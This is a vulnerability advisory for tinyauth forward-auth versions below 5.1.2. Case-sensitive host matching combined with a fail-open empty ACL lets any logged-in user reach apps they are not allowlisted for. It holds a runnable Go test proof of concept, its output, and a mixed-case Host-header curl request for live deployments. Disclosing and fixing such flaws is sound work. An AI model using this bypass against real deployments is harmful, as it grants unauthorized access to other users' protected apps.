# tinyauth: forward-auth per-app ACL is matched case-sensitively against the (case-insensitive) hostname, letting an authenticated user reach apps they are not on the allowlist for
## GitHub Advisory Details (form fields — paste-ready)
**Affected products**
| Field | Value |
|-------|-------|
| Ecosystem | `Other (self-hosted)` / Go |
| Package name | `github.com/steveiliop56/tinyauth` (forward-auth middleware) |
| Affected versions | `< 5.1.2` |
| Patched versions | `5.1.2` |
**Advisory details**
| Field | Value |
|-------|-------|
| Title | tinyauth forward-auth authorization bypass: per-app ACL host matching is case-sensitive while hostnames are case-insensitive, so a mixed-case host defeats `users`/`groups`/`ip` allowlists and fails open |
- **Status:** Runtime-confirmed (local lab, 127.0.0.1 only)
- **Target:** steveiliop56/tinyauth `v5.0.7` (commit `479f1657812b7bf01438607464dedaa148155301`); root cause also present on `main` HEAD
- **Component:** `internal/service/access_controls_service.go` (`lookupStaticACLs` / `GetAccessControls`), `internal/service/docker_service.go` (`GetLabels`), `internal/controller/proxy_controller.go` (`proxyHandler`)
- **Class:** Broken access control / authorization bypass across the per-app trust boundary
## Summary
tinyauth is a forward-auth service: a reverse proxy (Traefik/Caddy/nginx/Envoy) calls `GET /api/auth/<proxy>` on every request and only forwards the request upstream if tinyauth returns `200`. tinyauth decides *which* per-app access rules apply by looking up the forwarded hostname (the app) in its ACL set — the static `apps:` config and/or Docker labels. Each app can restrict access with `users.allow` / `users.block`, `oauth.whitelist`, `oauth.groups` / `ldap.groups`, and `ip.allow`. These allowlists are the entire authorization model that separates one protected app from another for a shared pool of authenticated users.
The hostname → ACL lookup is performed with **case-sensitive** Go string comparisons (`config.Config.Domain == domain` and `strings.SplitN(domain, ".", 2)[0] == app`). Hostnames, however, are case-*insensitive* everywhere else in the stack: DNS, HTTP `Host`-header routing, and TLS SNI all treat `immich.example.com` and `IMMICH.example.com` as the same host, so a reverse proxy routes both to the same backend. When a request arrives with a mixed-case host, the proxy still routes it to the intended app and faithfully forwards the mixed-case value in `X-Forwarded-Host` (or `X-Original-URL` for nginx, or `Host` for Envoy), but tinyauth's case-sensitive lookup **misses** the app's ACL entry.
On a miss, tinyauth does not fail closed. `GetAccessControls` falls back to `DockerService.GetLabels`, which returns an **empty `config.App{}` with no error** whenever nothing matches (or Docker is not connected). The proxy handler then evaluates that empty App: `IsAuthEnabled` → true, `CheckIP` (no allow/block) → allowed, `IsUserAllowed` with an empty `users.allow` → `CheckFilter("", …)` → **true**, and the group check with empty required groups → **true**. The net result is that any *already-authenticated* user is authorized (`200 Authenticated`) for an app whose ACL was supposed to exclude them — simply by upper-casing (or otherwise re-casing) one letter of the hostname. This defeats the per-app `users`/`groups`/`ip` allowlist for every proxy integration.
## Affected code (v5.0.7, commit `479f1657…`)
The ACL lookup uses case-sensitive equality — `internal/service/access_controls_service.go`:
```go
func (acls *AccessControlsService) lookupStaticACLs(domain string) (config.App, error) {
for app, config := range acls.static {
if config.Config.Domain == domain { // case-sensitive ==
return config, nil
}
if strings.SplitN(domain, ".", 2)[0] == app { // case-sensitive ==
return config, nil
}
}
return config.App{}, errors.New("no results")
}
func (acls *AccessControlsService) GetAccessControls(domain string) (config.App, error) {
app, err := acls.lookupStaticACLs(domain)
if err == nil {
return app, nil
}
// Fallback to Docker labels
return acls.docker.GetLabels(domain)
}
```
The Docker-label fallback has the same case-sensitive comparisons and, critically, returns an **empty App with a nil error** when nothing matches (fail open) — `internal/service/docker_service.go`:
```go
func (docker *DockerService) GetLabels(appDomain string) (config.App, error) {
if !docker.isConnected {
return config.App{}, nil // <-- empty App, no error
}
...
for _, ctr := range containers {
...
for appName, appLabels := range labels.Apps {
if appLabels.Config.Domain == appDomain { ... } // case-sensitive
if strings.SplitN(appDomain, ".", 2)[0] == appName { ... } // case-sensitive
}
}
return config.App{}, nil // <-- no match -> empty App, no error
}
```
The forward-auth verdict is built from that (possibly empty) App, and an empty App authorizes any logged-in user — `internal/controller/proxy_controller.go` and `internal/service/auth_service.go`:
```go
// proxyHandler: host comes straight from X-Forwarded-Host, no normalization
acls, err := controller.acls.GetAccessControls(proxyCtx.Host)
...
if userContext.IsLoggedIn {
userAllowed := controller.auth.IsUserAllowed(c, userContext, acls) // empty acls -> true
...
c.Header("Remote-User", utils.SanitizeHeader(userContext.Username))
c.JSON(200, gin.H{"status": 200, "message": "Authenticated"})
}
// IsUserAllowed with an empty App:
func (auth *AuthService) IsUserAllowed(c *gin.Context, context config.UserContext, acls config.App) bool {
if context.OAuth {
return utils.CheckFilter(acls.OAuth.Whitelist, context.Email) // CheckFilter("", …) == true
}
if acls.Users.Block != "" { ... } // "" -> skipped
return utils.CheckFilter(acls.Users.Allow, context.Username) // CheckFilter("", …) == true
}
```
`utils.CheckFilter` returns `true` for an empty filter, so an empty `users.allow` means "everyone is allowed":
```go
func CheckFilter(filter string, str string) bool {
if len(strings.TrimSpace(filter)) == 0 {
return true // empty allowlist -> allow all
}
...
}
```
The forwarded host is used verbatim: `getForwardAuthContext` reads `x-forwarded-host`, `getAuthRequestContext` parses `x-original-url`, `getExtAuthzContext` uses `c.Request.Host` — none of them lower-cases or canonicalizes the host before it reaches `GetAccessControls`.
## Attacker model / precondition
The attacker is a **legitimately authenticated but low-privileged** user of the tinyauth instance — they hold a valid session (or valid credentials) for their own account, exactly the normal state of any user in a multi-app SSO deployment. They are simply *not* on the `users.allow` / group / IP allowlist of some other app protected by the same tinyauth. tinyauth does not offer self-registration, so a valid account is required; this is an authorization (not authentication) bypass, hence PR:L. An unauthenticated visitor is still redirected to the login page.
Trigger: send the request to the protected app with a hostname that routes identically but differs as a byte string from the configured ACL key — the simplest being a case change (`IMMICH.example.com` for `immich.example.com`). Reverse proxies match `Host` rules case-insensitively (RFC 3986 §3.2.2 / RFC 4343), so the request is still routed to the intended backend, and the proxy forwards the mixed-case host to tinyauth in `X-Forwarded-Host` / `X-Original-URL` / `Host`. Equivalent host encodings that route the same but bypass the string compare include a trailing FQDN dot (`immich.example.com.`) and, for by-domain rules, an added port. The bypass applies to all four proxy integrations (Traefik/Caddy → `X-Forwarded-Host`; nginx → `X-Original-URL`; Envoy → `Host`).
What bounds severity: the attacker must already have a valid account, and the concrete confidentiality/integrity impact depends on the specific app that becomes reachable. Because the whole purpose of putting an app behind a per-app allowlist is to protect sensitive functionality, reaching it generically yields read and write access to that app's data (C:H/I:H). The bypass affects authorization only; global gates that are configured tinyauth-wide (e.g. a global `oauth.whitelist` used at login) are not affected because they run at login, not per-app.
## Impact
Any authenticated user can reach any app protected on the same tinyauth instance whose access is restricted by `users.allow` / `users.block`, `oauth.groups`, `ldap.groups`, or (for authenticated users) `oauth.whitelist` — none of which are enforced once the ACL lookup misses on a mixed-case host. Concretely, a user restricted to a handful of apps can obtain full authenticated access to an admin-only or team-only app (its data and actions) hosted behind the same tinyauth, defeating the per-app trust boundary that is the product's core authorization feature. tinyauth even emits the spoofed identity to the upstream via the `Remote-User` / `Remote-Email` headers, so downstream apps that trust those headers treat the attacker as a legitimately-authorized user of that app.
## Proof of Concept (complete — runs on 127.0.0.1 only)
Lab-only. This is a single self-contained Go test dropped into the tinyauth source tree. It builds the **real** `ProxyController`, `AccessControlsService`, and `AuthService` (the same wiring the project's own `proxy_controller_test.go` uses), configures one app `immich` restricted to user `admin`, and drives the real forward-auth endpoint as a logged-in non-admin user `bob`. It proves: (1) with the exact-case host, bob is correctly blocked (`403`); (2) with an upper-cased host, the ACL lookup misses, tinyauth fails open to an empty App, and bob is authorized (`200`) with `Remote-User: bob` — a cross-app authorization bypass.
Reproduce against the exact vulnerable tag:
```console
git clone --depth 1 --branch v5.0.7 https://github.com/steveiliop56/tinyauth
cd tinyauth
# The repo embeds the built frontend at internal/assets/dist via //go:embed.
# For a backend-only PoC, create a one-file stub so the embed compiles:
mkdir -p internal/assets/dist
printf '<!doctype html><title>stub</title>' > internal/assets/dist/index.html
# Write the test file shown below to internal/controller/zzz_poc_test.go, then:
go test ./internal/controller/ -run TestForwardAuthHostCaseACLBypass -v
```
`internal/controller/zzz_poc_test.go`:
```go
package controller_test
import (
"net/http/httptest"
"path"
"testing"
"github.com/gin-gonic/gin"
"github.com/steveiliop56/tinyauth/internal/bootstrap"
"github.com/steveiliop56/tinyauth/internal/config"
"github.com/steveiliop56/tinyauth/internal/controller"
"github.com/steveiliop56/tinyauth/internal/repository"
"github.com/steveiliop56/tinyauth/internal/service"
"github.com/steveiliop56/tinyauth/internal/utils/tlog"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
// TestForwardAuthHostCaseACLBypass demonstrates that the per-app ACL is matched
// against the forwarded host with a case-SENSITIVE string comparison, while
// reverse proxies route hosts case-INSENSITIVELY. A logged-in user who is NOT in
// an app's users.allow list can reach the app anyway by varying the case of the
// hostname: the ACL lookup misses, tinyauth falls back to an EMPTY App (fail
// open), and the forward-auth verdict becomes 200 "Authenticated".
func TestForwardAuthHostCaseACLBypass(t *testing.T) {
tlog.NewTestLogger().Init()
tempDir := t.TempDir()
// Force the docker label provider offline so an ACL miss deterministically
// yields the empty App() default (this is exactly what happens on any
// deployment whose ACLs live in the static `apps:` config, or whose docker
// socket holds no container matching the mixed-case host).
t.Setenv("DOCKER_HOST", "unix:///nonexistent/docker.sock")
authServiceCfg := service.AuthServiceConfig{
Users: []config.User{
{
Username: "admin",
Password: "$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa", // password
},
{
Username: "bob",
Password: "$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa", // password
},
},
SessionExpiry: 10,
CookieDomain: "example.com",
LoginTimeout: 10,
LoginMaxRetries: 3,
SessionCookieName: "tinyauth-session",
}
controllerCfg := controller.ProxyControllerConfig{
AppURL: "https://tinyauth.example.com",
}
// The admin restricts the "immich" app to user "admin" only.
acls := map[string]config.App{
"immich": {
Config: config.AppConfig{
Domain: "immich.example.com",
},
Users: config.AppUsers{
Allow: "admin",
},
},
}
// bob is a legitimately-authenticated low-privileged user. He is NOT in
// immich's users.allow list.
bobCtx := func(c *gin.Context) {
c.Set("context", &config.UserContext{
Username: "bob",
Name: "Bob",
Email: "
[email protected]",
IsLoggedIn: true,
Provider: "local",
})
c.Next()
}
// Shared services (mirrors the project's own proxy_controller_test.go).
app := bootstrap.NewBootstrapApp(config.Config{})
db, err := app.SetupDatabase(path.Join(tempDir, "tinyauth.db"))
require.NoError(t, err)
defer func() { _ = db.Close() }()
queries := repository.New(db)
docker := service.NewDockerService()
require.NoError(t, docker.Init())
ldap := service.NewLdapService(service.LdapServiceConfig{})
require.NoError(t, ldap.Init())
broker := service.NewOAuthBrokerService(make(map[string]config.OAuthServiceConfig))
require.NoError(t, broker.Init())
authService := service.NewAuthService(authServiceCfg, docker, ldap, queries, broker)
require.NoError(t, authService.Init())
aclsService := service.NewAccessControlsService(docker, acls)
newRouter := func() *gin.Engine {
gin.SetMode(gin.TestMode)
router := gin.New()
router.Use(bobCtx)
group := router.Group("/api")
pc := controller.NewProxyController(controllerCfg, group, aclsService, authService)
pc.SetupRoutes()
return router
}
forwardAuth := func(host string) *httptest.ResponseRecorder {
rec := httptest.NewRecorder()
req := httptest.NewRequest("GET", "/api/auth/traefik", nil)
req.Header.Set("x-forwarded-host", host)
req.Header.Set("x-forwarded-proto", "https")
req.Header.Set("x-forwarded-uri", "/")
newRouter().ServeHTTP(rec, req)
return rec
}
// 1. Control: exact-case host -> ACL is found, bob is NOT in users.allow -> 403.
lower := forwardAuth("immich.example.com")
t.Logf("[control] x-forwarded-host=immich.example.com -> %d remote-user=%q", lower.Code, lower.Header().Get("Remote-User"))
assert.Equal(t, 403, lower.Code, "boundary must block bob at the exact-case host")
// 2. Bypass: upper-case host -> ACL lookup misses (case-sensitive ==),
// empty App fail-open -> 200 Authenticated + Remote-User leaks bob.
upper := forwardAuth("IMMICH.example.com")
t.Logf("[BYPASS] x-forwarded-host=IMMICH.example.com -> %d remote-user=%q", upper.Code, upper.Header().Get("Remote-User"))
require.Equalf(t, 200, upper.Code, "expected the mixed-case host to bypass the users.allow ACL")
require.Equalf(t, "bob", upper.Header().Get("Remote-User"), "tinyauth authorized bob for immich across the ACL boundary")
}
```
Observed output (v5.0.7; trimmed to the two decisive log lines):
```text
=== RUN TestForwardAuthHostCaseACLBypass
... access_controls_service.go: Found matching container by domain name=immich
... proxy_controller.go: User not allowed to access resource resource=immich user=bob
zzz_poc_test.go: [control] x-forwarded-host=immich.example.com -> 403 remote-user=""
... access_controls_service.go: Falling back to Docker labels for ACLs
... docker_service.go: Docker not connected, returning empty labels
zzz_poc_test.go: [BYPASS] x-forwarded-host=IMMICH.example.com -> 200 remote-user="bob"
--- PASS: TestForwardAuthHostCaseACLBypass (0.06s)
PASS
ok github.com/steveiliop56/tinyauth/internal/controller 0.067s
```
The control request (`immich.example.com`) finds the ACL and correctly returns `403` for bob; the identical request with an upper-cased host (`IMMICH.example.com`) misses the ACL, falls back to the empty App, and returns `200 Authenticated` with `Remote-User: bob`. In a live deployment the identical effect is reached over HTTP by requesting the protected app with a mixed-case `Host` header, e.g. `curl -H 'Host: IMMICH.example.com' https://<proxy>/` with bob's session cookie — the proxy routes it to immich and forwards the mixed-case host to tinyauth, which authorizes bob.
## Remediation
- **Canonicalize the host before the ACL decision.** Lower-case (and strip any trailing dot / port from) the forwarded host in `getForwardAuthContext` / `getAuthRequestContext` / `getExtAuthzContext`, and store both the ACL `apps` keys and each `config.domain` / label domain lower-cased, so the lookup is case-insensitive. Equivalently, compare with `strings.EqualFold`. This closes the case, trailing-dot, and port-variant encodings in one place.
- **Fail closed on an ACL miss.** `GetAccessControls` / `GetLabels` should distinguish "no ACL configured for this host" from "empty ACL that allows everyone." When no app matches the requested host, the forward-auth handler should not authorize a user by defaulting to an empty allow-all `App`; it should apply a deny-by-default (or an explicit, documented default policy) rather than returning `config.App{}, nil`. Returning an all-empty `App` as the fallback is the fail-open that turns the lookup miss into an authorization bypass.
- Add a regression test asserting that a user excluded by `users.allow` is still `403` when the same host is supplied in mixed case, with a trailing dot, and with an added port.
Please credit 5ud0 / Tarmo Technologies.
